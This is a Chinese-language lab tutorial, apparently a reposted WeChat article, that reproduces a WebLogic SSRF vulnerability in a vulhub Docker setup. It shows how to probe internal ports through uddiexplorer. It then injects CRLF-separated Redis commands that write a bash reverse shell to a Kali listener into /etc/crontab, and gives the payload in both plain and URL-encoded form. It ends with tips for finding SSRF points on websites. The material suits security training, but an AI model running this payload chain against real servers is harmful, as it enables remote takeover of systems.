前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >珂兰寺小课堂|Weblogic SSRF漏洞复现

珂兰寺小课堂|Weblogic SSRF漏洞复现

作者头像
黑伞安全
发布2021-10-14 12:12:05
9970
发布2021-10-14 12:12:05
举报
文章被收录于专栏:黑伞安全黑伞安全

点击上方蓝字,关于我们

前面那个Weblogic 后台getshell的漏洞学会了吗,接下来我们一起来复现一下Weblogic SSRF漏洞。

01

什么是SSRF

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

02

SSRF漏洞的危害

  1. 主机本地敏感信息读取, 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的Banner信息;
  2. 攻击运行在内外网主机的应用程序;
  3. 通过访问默认文件对内网 Web 应用进行指纹识别;
  4. 攻击内外网的 Web 应用,主要是使用GET参数就可以实现的攻击;
  5. 利用file协议读取本地文件。

03

SSRF漏洞的验证方法

  1. 因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们通过抓包分析发送的请求是否是由服务器发送的来判断是否存在SSRF漏洞;
  2. 在页面源代中查找访问的资源地址,如果该资源地址的类型为:http://www.xxx.com/a.php?image=地址的情况下可能会存在SSRF漏洞。

04

实验环境

漏洞影响版本:weblogic 10.0.2 -- 10.3.6 vulhub

kali:192.168.2.5

05

漏洞复现

0x01部署vulhub环境

1.安装docker

代码语言:javascript
复制
curl -s https://get.docker.com/ | sh  或者  sudo apt install docker.io
2.安装docker-compose
代码语言:javascript
复制
pip install docker-compose
3.下载vulhub
代码语言:javascript
复制
git clone https://github.com/vulhub/vulhub.git
4.启动环境

进入相应的漏洞下,然后使用命令启动

代码语言:javascript
复制
docker-compose build
docker-compose up -d//启动环境
docker-compose down //关闭容器
docker ps //查看正在运行的容器
0x02 测试是否存在SSRF攻击

1.访问环境 虚拟机地址为:192.168.2.7,访问http://192.168.2.7:7001/uddiexplorer/SearchPublicRegistries.jsp,即可查看uddiexplorer应用。

2.SSRF漏洞主要存在于http://192.168.2.7:7001/uddiexplorer/SearchPublicRegistries.jsp,提交参数值为IP:port,根据返回的错误不同,可以对内网进行探测,比如看端口开放的情况。随便输入一些内容,然后用burpsuite抓包,如下图所示:

3.接着我们在burpsuite下测试该漏洞,访问一个可以访问的IP:PORT,例如http://192.168.2.7:7001。可能访问的端口会得到错误,但一般是status code。

4.再接着访问一个不存在的端口,例如http://192.168.2.7:7002。返回:but could not connect over HTTP to server

通过上面的测试,可以发现目标存在ssrf漏洞。

0X03 注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。也就是我们可以通过SSRF攻击内网中的redis服务器。

1.首先需要SSRF探测内网中的redis服务器,因为这个漏洞是用docker环境搭建的,运行着redis服务,我们可以通过

代码语言:javascript
复制
docker inspect 容器ID

命令查看并确定redis服务的容器IP地址。如下图所示:,如下图所示:

容器信息如下:

2.发送三条redis命令,将反弹shell命令写入/etc/crontab

代码语言:javascript
复制
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.2.5/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

命令分析:

命令

含义

set 1

将bash shell设置为变量“1”的value值,执行一个反弹shell,192.168.2.5 为kali虚拟机地址

set dir /etc/

建立一个工作目录

config set dbfilename crontab

创建一个RDB备份,文件名:crontab;所有的RDB文件都会储存在/etc/crontab下

3.对以上三条命令用url进行编码,如下:

代码语言:javascript
复制
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.5%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave

4.接着在kali虚拟机开启21端口监听。

5.接着将URL编码后的payload增加换行符,redis通过换行符来分隔每一条命令,换行符是“\r\n”,它的URL编码是“%0D%0A”,如下图:

6.成功反弹shell,到此漏洞成功复现。

06

SSRF漏洞的寻找

  1. 从Web功能上寻找
  • 分享,通过URL地址分享网页内容
  • 转码服务
  • 在线翻译
  • 图片加载与下载:通过URL地址加载或者下载图片
  • 图片、文章收藏功能
  • 未公开的api实现以及其他调用URL的功能
  1. 从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain…… 好啦,对于SSRF的学习就到这里了,对于网络安全的初学者一定要多动手实操。这样进步才会更快一些,后续我们还会继续发一些其它类型的文章~~

END

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2.安装docker-compose
  • 3.下载vulhub
  • 4.启动环境
  • 0x02 测试是否存在SSRF攻击
  • 0X03 注入HTTP头,利用Redis反弹shell
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档